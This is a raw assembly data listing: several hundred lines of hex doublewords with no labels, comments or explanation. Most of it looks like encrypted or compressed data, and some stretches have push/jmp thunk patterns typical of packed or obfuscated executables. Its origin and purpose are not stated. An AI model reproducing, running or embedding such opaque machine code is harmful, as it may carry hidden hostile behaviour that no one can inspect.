dd 7723983Eh, 4BE1A105h, 0A0DE308Bh, 0FEEDF1C5h, 0B607CC99h
dd 1D83B20Ah, 7, 2451134h, 0D9680000h, 51F1E7E1h, 21691583h
dd 0EB031E1Bh, 0E0285057h, 34874B18h, 0DFDCFA05h, 9526B08Dh
dd 0BF6FDDE9h, 4E427177h, 0FBD85DFFh, 6E4CE4D7h, 3890C74Ah
dd 0E423311Bh, 42000006h, 0F6D3259Ah, 0B18EE0DDh, 6B489A21h
dd 20FD4F6Ah, 7BB406B7h, 5964733Dh, 12A72A07h, 0CAF5E3C0h
dd 803B9B78h, 949A222Eh, 580C0AAEh, 1260C7C2h, 0D8AFF7C4h
dd 0DE9F52C6h, 4DB7E633h, 6F759640h, 51F29889h, 31DD759Dh
dd 53F5BBFh, 5A98EAD1h, 0FEED410Bh, 6D528653h, 9B24B4C1h
dd 76ED403h, 85000000h, 1A211h, 0E0D96800h, 8451F1E7h
dd 1C226A16h, 57EB0328h, 1BE83058h, 0FE5602BDh, 3901C9CFh
dd 0C034D33h, 0C2F7DA58h, 9AA5D4FCh, 6A377F3Ch, 1222516Eh
dd 57666D3Ah, 192453ABh, 4652FEBDh, 13E028D8h, 0F54DF9C4h
dd 8BBAC0C6h, 215DFF4Eh, 0C7A71BF9h, 0E8D23890h, 622DAh
dd 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh
dd 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h
dd 0B70565Ch, 8984580Ch, 0F7C41222h, 64983E4Bh, 1EE76206h
dd 721EB646h, 46FE9C00h, 5A5F7690h, 0CB9870C2h, 1884B306h
dd 0FEEDD04Dh, 1CB1h, 0D9D2A900h, 7B4494C0h, 6F2077CFh
dd 4E20772Ch, 7E3A974Dh, 11A48BBAh, 0D7h, 0E7E0D968h, 168451F1h
dd 9E4B226Ah, 72477F25h, 22282E5Dh, 57EBD416h, 1FF63E66h
dd 6D1117Eh, 77DF60B7h, 65323867h, 1BF84A71h, 328D4BBBh
dd 0EA962E86h, 78C070DEh, 274372h, 0D3B1D95Eh, 388FEDF9h
dd 649CAA94h, 0C2000005h, 7653A51Ah, 310E605Dh, 0EBC81AA1h
dd 0A07DCFEAh, 0FB348637h, 0D9E4F3BDh, 9227AA87h, 4A756340h
dd 0BB1BF8h, 141AA2AEh, 580C0C2Eh, 17E04742h, 63268240h
dd 1342F0A2h, 41EDCE08h, 6E64A234h, 9709B54Dh, 0F9DD1733h
dd 333270C2h, 0CBFEEDA3h, 7, 3111E2h, 12680000h, 3E4BF7C4h
dd 6A772398h, 97A4506Dh, 0CBD37F3Ah, 0F1E7DFC5h, 19CBF351h
dd 5E1495B5h, 5D5C7946h, 0D82A59B1h, 675482BAh, 243715h
dd 128E0000h, 5B4147C4h, 6F51F1E8h, 0FB03AF47h, 0E918A52Eh
dd 0F1E7C2A5h, 6E2C5051h, 69BB00D6h, 0AC0DC491h, 0C412967Dh
dd 5B8B9038h, 31EE4578h, 0A11ABC7Eh, 0B8059DF5h, 58049C1Dh
dd 0D073DE4Ch, 0F572119Eh, 0C18ED66Eh, 757BAA11h, 0EB8C6B6Fh
dd 0DDE3BB57h, 580C8CF7h, 4296E30Bh, 0E179D17Dh, 0E5CBD199h
dd 0F9580C8Ch, 0D49CA2D1h, 0BDECCF07h, 0F3E224B2h, 4DC2EC6h
dd 0F01F9A37h, 0D90BF1E5h, 0B8AB3841h, 0A8407D56h, 4F745A60h
dd 6088580Ch, 0A2101CC8h, 1DB0B6FEh, 95E056Ah, 69553B41h
dd 41695E26h, 1E668E12h, 0E4368551h, 40ECCF07h, 0D21AC634h
dd 563C420Ah, 0E35E2669h, 0C921CDF0h, 68ACDB03h, 64199209h
dd 0DDF9D7FFh, 0C4327683h, 405CCDAh, 0BB210000h, 0FED5B204h
dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h, 0E6388552h
dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580C0Dh
dd 0C4123FA6h, 0EC8A5F7h, 2CF901ADh, 0D9E413ACh, 0A012BEFDh
dd 0F0E61E3Ch, 34894E1Bh, 0C4AA3088h, 0D851F1E7h, 0EEC618B0h
dd 0DC0BB221h, 0EDF1F570h, 3109FEh, 13200000h, 0E9B1F9A5h
dd 5056B71Ch, 51F1E86Ah, 8FBE567Eh, 0E554E04Bh, 7EC6EE57h
dd 469827B1h, 6364C30h, 0BA01D558h, 724D8B68h, 371B8C6h
dd 130F0000h, 0E9B1F9A5h, 5905B61Ch, 0CDB3B901h, 0E151F1E7h
dd 0CF468AB9h, 557E5E9h, 5C2931DDh, 8C994576h, 91DE7647h
dd 3C477645h, 0FF75219Ah, 33191FE7h, 475805E9h, 0FC9EF01Fh
dd 0EB33DB49h, 0F9EA6EE5h, 2A7CA45Dh, 69508552h, 0C9AFB5BDh
dd 0DD5E19E9h, 0E4EE1DB5h, 7C82CA76h, 640DEB05h, 20E9ECB9h
dd 2DEA341Ah, 88204864h, 0D15584DCh, 449461A9h, 0D5E24C7Bh
dd 6565FC02h, 98EC3886h, 0E8EBB800h, 2F3CA6D5h, 5D6A16A9h
dd 41964279h, 69FEE39Fh, 9F768BC7h, 48AB1B5Ah, 2F39687Dh
dd 0CFD51DC1h, 6A22DB58h, 9524B18Eh, 8CEABFDh, 0DCFA07B3h
dd 43B18DDFh, 0BA4D539Bh, 2870362Bh, 2C0E5400h, 3770570Bh
dd 75E7515h, 57E088CBh, 0A613C28Fh, 361CA2FAh, 4A705713h
dd 96D6CB22h, 0F2D5B2B7h, 415DC3h, 13740000h, 0ABB1F9A5h
dd 57E502E8h, 81BD5D34h, 58694884h, 0D17DA529h, 61DA98Bh
dd 17A42E58h, 46735E6Bh, 76458D9Ah, 9E033FE1h, 0FE95B5D7h
dd 0F8D9BB67h, 0C997h, 11B88F00h, 4CFD26Ch, 12452C5Bh
dd 434BF7C4h, 71C3906Ch, 80AF66F1h, 0AF5B6275h, 0DB8734A2h
dd 6BB308CEh, 0DA86339Eh, 1D1E4CC3h, 34CC1334h, 2DFF505h
dd 6D51F2BEh, 23005269h, 505C08B3h, 0F0F63EE2h, 57E60F4Dh
dd 8561B3DBh, 9926B217h, 0ECECB901h, 989EA4D3h, 5DFBC715h
dd 2D1319E1h, 0BA5E1DA6h, 0B0D89E1Bh, 8DD5FD81h, 5EA617C0h
dd 48774691h, 417C5B38h, 93507D63h, 404E3838h, 1CFh, 0E83A8557h
dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h
dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0C0FC3A9h
dd 75DCD758h, 63494F17h, 0F051F1E8h, 0EC14DAE3h, 9825B2BDh
dd 4E6D6946h, 0A51343FCh, 0E8ABB1F9h, 0B657E502h, 9E6F468Eh
dd 0D5C847D6h, 0F19D20B3h, 68D20199h, 5FA4022h, 0A8754B58h
dd 8AE28E2Fh, 5249095Bh, 0F8D9E013h, 0EFEBh, 6E0CE300h
dd 0D0D68F84h, 0EB1477CEh, 91F97CDh, 0C412F3DAh, 5F5C7A47h
dd 0F1E7F3D9h, 997F8551h, 0AD51F1E7h, 5BD8BF85h, 155E1C11h
dd 822EC65Eh, 135B6275h, 0FB2A8F46h, 0C16E4B91h, 0FDD951F2h
dd 478F6CBEh, 4EBCC874h, 0CB325F2h, 0F2C0A086h, 0F48CB451h
dd 1203A6ACh, 0AA9157E6h, 97C5DC64h, 72A96A23h, 0C7ABF249h
dd 9C62A0F7h, 2A529AC3h, 0B6734A92h, 26954173h, 87CB227Ah
dd 0E6F6251Eh, 0ACF49C0Ah, 0FC9D82A6h, 0A2EA125Dh, 7DEED4DAh
dd 0DA025E1Eh, 0FFD8A5ABh, 488F6CBEh, 7110F0B6h, 0AA42A266h
dd 92911ECCh, 0B3C1AB38h, 0A7h, 10625D7Fh, 0CB1DA033h
dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h, 6A674496h
dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0C10EBD1h, 9D04FF58h
dd 0A6F8C512h, 0EAD101CEh, 0ACB7E63Eh, 863F912Ah, 0AFF7C412h
dd 9BCAEFE2h, 9B22431h, 0C16DDBB7h, 2D47379h, 224A57EBh
dd 4E6D6976h, 4B71FFCh, 33D31258h, 359983CFh, 0BC17E415h
dd 0CEFD5501h, 56A813C3h, 0B25E5D79h, 418930A5h, 138D7379h
dd 79A183D0h, 0E98BE04Ah, 784393A9h, 2E8D4926h, 117482h
dd 0DFAC0000h, 7A0A08F2h, 0B6DF16EBh, 0EB1A721Eh, 127DE404h
dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h
dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 5E08950h
dd 4, 8704E883h, 895C2404h, 68682434h, 89000069h, 89562414h
dd 4C681E6h, 83000000h, 348704EEh, 1C895C24h, 6A406824h
dd 4890000h, 2ABF6824h, 5587B0Fh, 39670F31h, 0F4054048h
dd 8951A3E1h, 8B5458C2h, 0C483241Ch, 0B9515204h, 61955FF4h
dd 4244C01h, 8438F59h, 0F4086B81h, 0FF61955Fh, 815B2434h
dd 4C4h, 2434FF00h, 4C4835Ah, 0FA536AE9h, 0BAA568FFh, 51DB39DDh
dd 0B6EAFEC2h, 39B886D6h, 3061A2Ah, 77E0FFC5h, 5F70BC8Bh
dd 3F207261h, 0A35460C9h, 0DA447935h, 3F484998h, 3473A4B8h
dd 976890A2h, 0EC2992C2h, 0F422D572h, 74501789h, 0AD4BDAE1h
dd 715A0EB8h, 0F012C451h, 8841221Ch, 6666A281h, 9B6B7FB7h
dd 1C3B2930h, 0A8609F36h, 4155B6A5h, 3B140B70h, 1C0FE667h
dd 482C3016h, 0FA72FD45h, 7A00BDEBh, 2524B49Dh, 8D003042h
dd 1A2C048Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h
dd 0C3504000h, 6681F0E0h, 9D01C18Bh, 61415F1h, 32298D89h
dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0DE476FC3h, 9A925069h, 2C0EF281h, 85C71D09h
dd 614064Dh, 5E24h, 1D440CBAh, 7185C717h, 61426h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 81C6C353h, 3FEFBFCBh, 69B5FF21h, 6A061406h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 315C356h, 0CF39A92Eh, 236195FFh, 95310614h
dd 6142205h, 95FF006Ah, 6141169h, 1BEBC08Bh, 0E3AC4D54h
dd 1327BE0Eh, 728CBA6Ah, 0DCACF80Ah, 0D93EA5Dh, 0D217F168h
dd 0E94C5F0Eh, 7, 7C785225h, 0E9000000h, 529h, 0D82A9547h
dd 93E5D8FBh, 4D9F1CB6h, 2546570h, 0B90BB225h, 5F783880h
dd 0A22F0C5Eh, 0F0E8C517h, 36A07DCFh, 9F273385h, 0C13B399h
dd 65CCC758h, 63494F17h, 7751F1E8h, 0C115204Fh, 0E85E444Ah
dd 957251F1h, 4EE67E3Dh, 7B4295A2h, 4A6F6633h, 0A82E0B1Bh
dd 0A9F4CB13h, 553B3A77h, 0D1DE4877h, 0FD0AB605h, 19A632D6h
dd 0FB5FD581h, 5ED3AA5Fh, 0CD000F9Bh, 706671A0h, 0BC1CF94Bh
dd 4D4B103h, 3A070FBBh, 1B731F9Ch, 6B207CEh, 5D747FAEh
dd 0B95BB05Ch, 4A756399h, 666D3A02h, 8BEBD157h, 27FF51F2h
dd 0F28C3B21h, 8F274F51h, 0FB2A8F42h, 0F3C80EEBh, 8C1E0147h
dd 869A51F2h, 4D96CFC4h, 5C68FEEDh, 60000000h, 0CE7A4593h
dd 12604776h, 2B9042C4h, 0BDA1E793h, 4651F1E7h, 5F5E758Fh
dd 0CA0E1BC7h, 293249F5h, 596BBAF5h, 0D36F53C7h, 206276CEh
dd 0EDDABAABh, 0D44FEh, 6F3C0000h, 5F849862h, 5B6DC55Dh
dd 12AD94C3h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h
dd 9F371466h, 1211CA1Ch, 444CF8C5h, 0B35F5A77h, 0F2C70E5Bh
dd 0A21BB8C3h, 622084F6h, 5EB00DCAh, 0D0A9AF86h, 0D9475938h
dd 84379FAAh, 0F507CBD8h, 95748B7Dh, 357D1584h, 24F7068h
dd 50BAE9D6h, 56EBA7C9h, 74969B7Fh, 5AB25E5Fh, 1D348F03h
dd 24F382EEh, 0C38BFEEDh, 0F2BCD7BDh, 94C3EB51h, 742Eh
dd 0C5124500h, 0EFE3B0F8h, 99C820CCh, 0BB0222Fh, 0C585E95Fh
dd 0CD15A82Fh, 0E819FF05h, 52D51F1h, 0EEE9C6D6h, 0BF1623CFh
dd 0F1C74EFAh, 515E901Ah, 80AF7431h, 0FE776C2Eh, 80FEED84h
dd 689722B3h, 6A02h, 4F171900h, 0F1E86349h, 8486E651h
dd 0F71C795Bh, 0CFDA0931h, 966DB508h, 0A6ECBB37h, 0AD17460Bh
dd 5D238A0h, 1CB40CB8h, 3A583C70h, 96E8D502h, 6A4017DDh
dd 41DFBBAh, 72616C9Bh, 76599F4Bh, 0F251F2CBh, 0B68DBCDEh
dd 0EE3F33A2h, 9A8086CEh, 0AE51F27Ch, 53BFEE86h, 0FEED5D12h
dd 0AECh, 4D0DE400h, 297C94B3h, 17563D6Ch, 0E863494Fh
dd 4F7751F1h, 0FEBD1520h, 2026EEB6h, 51F1E83Ah, 0BAA0264Eh
dd 0CE51F1E7h, 72585EA6h, 8651F1E8h, 0B8C52F5Eh, 9CF19D1Eh
dd 2EA458FAh, 0F15F3B8Dh, 0D17D3E98h, 0D199E179h, 0E81D0309h
dd 0A9AF51F1h, 51F1E7C3h, 0C1E9AFD7h, 3374E92h, 85AD57E5h
dd 5465703Dh, 28AEBB25h, 92694193h, 0CA9C4E4Fh, 0B0BBEA2Bh
dd 0A3E99526h, 5805EEBFh, 0E71D3D21h, 0B784CCEFh, 0D6E7EC1Ch
dd 27FF0F3Eh, 0EF73595Fh, 5F875805h, 0AB12530h, 8185515Eh
dd 65BD6950h, 4BAF21CDh, 0AA2DFA0Fh, 0C70F6713h, 5EEDBC1h
dd 98C7EF58h, 2072498Dh, 0D9EA83E2h, 0F77BF8h, 9C730000h
dd 0AB8AF8A9h, 0F1D80735h, 8E44A513h, 0DC29812Dh, 0E22AC2FBh
dd 0E50DA5DCh, 87335B57h, 0D5F5C7Ah, 0CD15A630h, 0B7E6D700h
dd 2596404Dh, 56676C79h, 0B69CA2AAh, 0CA58060Dh, 7E7C55A2h
dd 0C85CAD87h, 24D0687Eh, 6B4E0CF0h, 0FF3555B9h, 5492E4D7h
dd 0F8D99D11h, 6657804Dh, 2AD137h, 13E80000h, 0AAB0F8A6h
dd 0D1F1E7E4h, 9EE490B8h, 0D1F1E7B8h, 0C37A183Ch, 0DCDFF356h
dd 30F6FC44h, 451F1E8h, 6EAC8ADCh, 3000000h, 34894A17h
dd 0E18DFB05h, 10D89399h, 370457E5h, 82686EA1h, 965805F0h
dd 0D22AD66Eh, 3F6E4D85h, 0DAE793BBh, 906DBFFCh, 83C97546h
dd 5805F0A2h, 0C4781AFEh, 0DF3F912h, 215805F1h, 330F61F9h
dd 0CBD119C5h, 5DFF3CB0h, 3D4AF61Eh, 21762299h, 0A0DAF4CBh
dd 0B5A7170Bh, 0DF163486h, 0B885CD71h, 676D9C1Dh, 19BA4661h
dd 3A8CB464h, 0F9A51381h, 3390ABB1h, 0D6FE57EBh, 2B91D2Ah
dd 0D2E9EDBAh, 20B693A3h, 13FFE5EBh, 0EB13580Ch, 8161A753h
dd 99302D78h, 0F7DF1535h, 0CD9A72C4h, 1B010706h, 2FD26E78h
dd 6BC36F07h, 66A5313Ch, 6E787A60h, 19668ED2h, 1D65FDBCh
dd 0DD348550h, 255F3782h, 228CBB47h, 0A71431Ah, 8ABCAA10h
dd 6E5A9E84h, 0F28AB2D2h, 0E71DB8C3h, 351B21ECh, 49D26E5Bh
dd 0A9F18921h, 5AF5DBE1h, 0E109D26Eh, 9DF348B2h, 0BB708D0h
dd 103284B3h, 0B11FADCh, 0D26E5B25h, 31791139h, 578F6F64h
dd 38E38EC6h, 283867FFh, 84308B4Bh, 876h, 0F6E1AE00h, 0E4B198C7h
dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h
dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 545633B8h
dd 4C6815Eh, 83000000h, 348704EEh, 89575C24h, 4C781E7h
dd 83000000h, 3C8704EFh, 34895C24h, 53896824h, 3C890000h
dd 5B156824h, 0C890000h, 2C35B924h, 0CE89061Ah, 3C8B5459h
dd 4C48124h, 68000000h, 7F4Bh, 8F243489h, 34FF0847h, 0C4835F24h
dd 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA4CC6E9h
dd 0FA0228FFh, 30EBB84Ch, 0C503061Ah, 0F8CDE0FFh, 0DD5D3213h
dd 21116F15h, 27EB71D5h, 3A2059A5h, 6AF307CAh, 96A435AAh
dd 69CC186Fh, 425F19E5h, 0CC3A09BCh, 0D6711480h, 8B675AE4h
dd 7B756C3Bh, 94EC782Ah, 0AFD21B89h, 2A452C1Ch, 8E661B16h
dd 55FE70D1h, 0D5A60351h, 6308111Bh, 0ECBD7D40h, 53032E42h
dd 34565F31h, 0A1DA4EB0h, 33B46E9Ah, 6D36BB9h, 1DCF4798h
dd 0C98F5C11h, 0B4326ECDh, 0ABE94098h, 0F000001h, 2714BB58h
dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h
dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh
dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h
dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h
dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
dd 0A26D8497h, 0EE69F033h, 0Bh dup(0)
dd 0BAE90000h, 6800000Fh, 61A3550h, 0FB132DE9h, 367B68FFh
dd 23E9061Ah, 68FFFB13h, 61A381Bh, 0FB1319E9h, 38C468FFh
dd 0FE9061Ah, 68FFFB13h, 61A39C3h, 0FB1305E9h, 3AA268FFh
dd 0FBE9061Ah, 68FFFB12h, 61A3B53h, 0FB12F1E9h, 3BDD68FFh
dd 0E7E9061Ah, 68FFFB12h, 61A3CCEh, 0FB12DDE9h, 3D3968FFh
dd 0D3E9061Ah, 68FFFB12h, 61A3DCDh, 0FB12C9E9h, 3E8C68FFh
dd 0BFE9061Ah, 68FFFB12h, 61A3F35h, 0FB12B5E9h, 408068FFh
dd 0ABE9061Ah, 68FFFB12h, 61A41E0h, 0FB12A1E9h, 650DFFFFh
dd 0E8828094h, 6DFD0317h, 0EF79889Ch, 76FC0A1Eh, 0FE6B90A5h
dd 85996A08h, 0D21F27Eh, 93A778F8h, 0C92BFC6Ch, 2D54E884h
dd 79D73047h, 4226D929h, 0AEBA4589h, 0BEF109DDh, 2CF98E22h
dd 8D2A7C2Ah, 7644846Bh, 0E37F42D3h, 2A2D6B4Fh, 0E5A839CAh
dd 109C6049h, 5B14A534h, 413C37CFh, 0C1A50B30h, 0A759FDA0h
dd 23F06Fh, 19F20000h, 6909FD01h, 407915D8h, 45341020h
dd 0D76FFBB4h, 0AB304113h, 9D402145h, 906FA736h, 0D4h
dd 3F26D992h, 5D16A7C3h, 0CC85ED19h, 914A7788h, 0D3B76411h
dd 3ED26E31h, 0C12A2D82h, 59DC9F30h, 2D8229BDh, 0DA13A42Ah
dd 96D22D71h, 20B450D3h, 9B2A2D82h, 0E18F760Ah, 2DAEE728h
dd 2C8E87D1h, 6206F92Ah, 0E3827D91h, 50914A1Eh, 0EA0206BFh
dd 31D226E9h, 0EAA3C53Ch, 1E5F18A9h, 5D672E5h, 883410ACh
dd 3A5226F7h, 78DA7639h, 8B3A2847h, 23E337FAh, 0B83B7E4Fh
dd 2F1A881Ch, 0C1CB032Ah, 115C54D6h, 0BE023BCCh, 94DC2748h
dd 40099ADBh, 0E0BA5B6Dh, 5295E35Eh, 2900000Dh, 0AABE8FE3h
dd 2D411258h, 0B2C697D3h, 3448194Fh, 0BACFA0D2h, 94DE2805h
dd 1C54AFC3h, 0A2CE374Bh, 2642BDD1h, 12AEF355h, 30472E7Eh
dd 0D953A301h, 6074452Dh, 0AAF8C99Fh, 2FD327AAh, 0F9CB5F3Bh
dd 0BD4E2A2Ch, 0DB94DC29h, 455D619Ah, 0F0A9C141h, 75B1EAFh
dd 7ABB74FCh, 0C84BCE41h, 2CF9982Ch, 8DE3222Ah, 942059EAh
dd 3410205Bh, 0F7798A1Eh, 0A96CFD3Eh, 87C0B055h, 63B3AB1Eh
dd 81D2E21h, 22BA467Fh, 0F6304138h, 0E88BD690h, 0DB6FA75Ah
dd 0DEh, 3FE6F0E8h, 0B6527C97h, 26D9FF7Dh, 0C2168942h
dd 34752E44h, 234FB7FBh, 0F9FFF76Ah, 9C368C95h, 0D721ADE6h
dd 692A2CCFh, 0BB0FD296h, 90E02548h, 0CC0546FFh, 0A0C8374Bh
dd 0CACBE3E7h, 0ED9A6B07h, 0FE8F3410h, 0E41592Dh, 41CDDE72h
dd 0D98F7030h, 5114A536h, 0E68C7ACEh, 8A1EBA2Dh, 53041CDh
dd 1EAAE374h, 3A2889ADh, 6334C8C0h, 96D924B5h, 0AB470A5Dh
dd 2A2FE717h, 0AD700192h, 7C1EAD59h, 0EB0819BEh, 0BCD0A132h
dd 1A5F284Ah, 83E0BA30h, 0C27BA08h, 0B8540000h, 2DD5E9BAh
dd 0A8586C3Dh, 24DDF1C2h, 0A75F7344h, 30E5FACBh, 0EEBFB353h
dd 764729DAh, 0FCCDA362h, 805117E8h, 0A93DD91Eh, 2430472Fh
dd 2DD976C6h, 0D42E8245h, 0C8DC5D96h, 9AD82E37h, 0F50CA0E1h
dd 0E879BA73h, 26D9C917h, 79FC7F42h, 2CFA49DDh, 5733C42Ah
dd 2A2CF9C3h, 53E78346h, 0D62A2CF9h, 127BB445h, 5B4BA79Fh
dd 7743C51Eh, 6305FA3Eh, 0A5A6BE92h, 92F946E2h, 0E3743410h
dd 63069E2Ah, 74DA3041h, 85CC6FF2h, 25796FA7h, 2C5992DEh
dd 82h, 1192Eh, 1654A13Dh, 48D93410h, 0D6B038Fh, 0D93F3041h
dd 0B9479B9Dh, 0F4B7F8B1h, 410DC458h, 7DB64730h, 0A72CA043h
dd 54936Fh, 19950000h, 0E7115901h, 7A497C84h, 2D774ADEh
dd 0A334C52Ah, 78CC4F12h, 0E728E187h, 2D76770Bh, 2861F22Ah
dd 92A019B5h, 54E53410h, 0DE720E91h, 0CC304162h, 0D2EA8F27h
dd 16A74A9Bh, 30E97F82h, 0C14DB6EFh, 3041A529h, 92DF97FDh
dd 6FA7C7EFh, 7E2h, 0CDCFE400h, 0FF000007h, 3D000119h
dd 8446F145h, 84200EDAh, 2A2DB0F0h, 1049DA6Bh, 0EB3C019Dh
dd 29213416h, 441AE95Bh, 450C512Bh, 7E95EE26h, 6AFB4E87h
dd 32D024A7h, 0E69FCB35h, 1A5B14A5h, 6629DE1h, 8ADE2135h
dd 0FC0A5ED1h, 0AE4ABD76h, 30473E1Ah, 3A730495h, 5A1D1E36h
dd 307B8ABEh, 0B174053Ah, 0F5C6A25Dh, 0EBA31EE1h, 8FC8B6A7h
dd 0E6EAA334h, 6E0ACDCEh, 3410C5C1h, 67521BACh, 3CE6AC54h
dd 0A8773C1h, 18F40000h, 8D75895Ah, 8F80CDDh, 847D9162h
dd 7FF13E4h, 50859A6Bh, 8E5F13F3h, 16E7897Ah, 9C6D0302h
dd 20F17788h, 49DD79BEh, 0C4304732h, 0F9911666h, 0CB2A2C06h
dd 53EFB2B3h, 3416387Eh, 0C5996AFBh, 4DE9ACADh, 3A306A80h
dd 45995CEDh, 0C9DDAEBAh, 75793236h, 0FD995C5Dh, 341637D1h
dd 14682BBCh, 21BD80F2h, 3047298Dh, 0D3467F10h, 1AB6807Fh
dd 30472986h, 808FD574h, 0A245C3CBh, 0F5AF43DFh, 992A3047h
dd 92A67708h, 0B642FB6Dh, 0B047F61Ch, 12D5D6EEh, 2B018176h
dd 0A26BFCBAh, 60B615A9h, 0DE0D5BD6h, 9D000009h, 1E32036Fh
dd 0A1B586E4h, 263A0B5Fh, 0A8BC8DDBh, 2E43145Eh, 86A9C89h
dd 90E02337h, 165AABBFh, 9ACE3145h, 862267C9h, 304731F2h
dd 0AABF0F6Dh, 3A17AC56h, 0A1734DB3h, 1E5F18A9h, 0C8C9E1E5h
dd 3C946905h, 8993416h, 5A0EF145h, 0DE8A7589h, 8092125h
dd 6EE0A945h, 0D4653A30h, 2342BD11h, 2EFF90E0h, 0C083E51Ah
dd 9BD4966Ch, 15162E32h, 38D7CF52h, 78E4DB91h, 0D911D56h
dd 70341666h, 3DC81CDFh, 15D16501h, 0BB4C3047h, 2A7EF12Ah
dd 0AEC293D5h, 541751h, 0C8316A00h, 4715A43Ch, 5D5E7630h
dd 536DFE9Ah, 4CE03A30h, 0BF00B9B7h, 0E8176B2Eh, 2BE4847Dh
dd 458859EAh, 279226C2h, 7C0D2A2Dh, 6800FF43h, 0A4A4ADA5h
dd 0CE9126Fh, 4E666AD3h, 21EE8A4Dh, 0C341658h, 0A6BEC27Bh
dd 675FE2A5h, 667F46ACh, 0DB67A09Dh, 3A2A31AEh, 42814ADBh
dd 87E0B6C1h, 8DFBE0Ch, 709C0000h, 0E51D3102h, 60A0B485h
dd 0DC25390Ah, 5FA7BB8Ch, 882D4213h, 36076B9Bh, 0BE8FE122h
dd 44155BAAh, 0C899CF30h, 0F1852166h, 6C304732h, 26D9BE0Eh
dd 2345BC10h, 2CF9B347h, 14A5362Ah, 80E8175Bh, 264C8C7h
dd 388CAA55h, 31C5A1C7h, 172A2CFAh, 0BB1E376Bh, 4DDE81E3h
dd 3EE1EBBCh, 316993DFh, 7, 48DCF33h, 0AAFF0000h, 47BCA956h
dd 0E9609829h, 0D8063C83h, 4AE43D76h, 581B1C34h, 1107FBBCh
dd 0E5BD4E34h, 2DC8D197h, 0D0A0980Dh, 143EA1FAh, 871850B1h
dd 31324A4Eh, 7FE81A6Eh, 1F58E981h, 2BC710ACh, 78A092Fh
dd 380FD76Bh, 88C152FDh, 0E7EBA435h, 880BCECFh, 0E39CCE34h
dd 9ADD69A2h, 0EF071E90h, 0B8479B5Eh, 34CBDFB0h, 7C7E6B34h
dd 0BC3735A4h, 8006Eh, 0E1917B00h, 6406FC10h, 0E9817F93h
dd 6BFD0418h, 0F280869Ah, 7AD70C21h, 115E68Ch, 899D6E02h
dd 0F23F47Ch, 45A778F0h, 33D06400h, 0ED4B3047h, 4226D99Dh
dd 0DD79FC7Fh, 2A2CFA49h, 0C35733C4h, 462A2CF9h, 0CF137CB5h
dd 0D96D0937h, 542A2CF9h, 1E6132C3h, 0F96BFF9Bh, 5DEE2A2Ch
dd 7082024h, 3825A844h, 0B9C3416h, 0E5285048h, 8EAD24D9h
dd 2E6709FAh, 0D09867BBh, 5414EBFFh, 7E7F979Bh, 0C561FBBh
dd 4ADB3A31h, 9DCD3387h, 629DF164h, 14EF4306h, 8EA2235Ch
dd 0FA3EF771h, 498340Ch, 872A2DE1h, 759C65F6h, 5EE0B80Dh
dd 74F95E3h, 0E02C0000h, 55ADC192h, 0D0304415h, 4CB5C99Ah
dd 0CF374B1Ch, 18BDD2A3h, 0C697DB2Bh, 4E1F51B2h, 0D4A5CB3Ah
dd 58293FC0h, 8115B1F6h, 0FC304734h, 0B2AA4E9Eh, 0F68BDFBAh
dd 0E3E72095h, 8407CACBh, 8E12038Ch, 0B5EE104Eh, 166B6029h
dd 0B551E534h, 32C304BDh, 84E41B6Fh, 0E41C70B3h, 0F6094D86h
dd 81B7AF72h, 82D754A3h, 0ABAF1851h, 33CF9293h, 3A2A642Eh
dd 600FF78Bh, 0D213CCA6h, 0B6478841h, 0B6FED4EDh, 0E836B1E0h
dd 6C5h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh
dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h, 0B54A5E2Fh
dd 3B80E2B3h, 47350B9Fh, 0E0308E30h, 894226D9h, 0F5AEBA45h
dd 54D492F6h, 0B46D0300h, 9F63A73h, 0E1848E5Fh, 0D4699318h
dd 10h, 0F886E9E1h, 8A1410C5h, 80CFD351h, 0FF000002h, 894226D9h
dd 9C696D85h, 39CB7A2Dh, 58E94B93h, 2D8104C7h, 0FF6996D9h
dd 7B0FAB6Eh, 0FE2A2D7Dh, 0DFA8346Dh, 423416B8h, 205917EEh
dd 0DA6E0ACDh, 643047B0h, 9A2BCE9Ch, 0DB243809h, 0D61D48Dh
dd 0FB3F78F8h, 5396670Bh, 0B0A034D0h, 0D82A3047h, 0F598D992h
dd 0B0AB2C64h, 5FCC6D66h, 90A2226h, 5C0EF246h, 0AC14B023h
dd 0CF3A3131h, 0D8277B3Eh, 54ABBF90h, 0EF175B14h, 0AEC6CA83h
dd 794EEAADh, 0F43410E2h, 3F639A63h, 0CD48E6ACh, 5D47Fh
dd 0D65A700h, 90DA283Ch, 1555ABBFh, 97D13044h, 1E54B2C6h
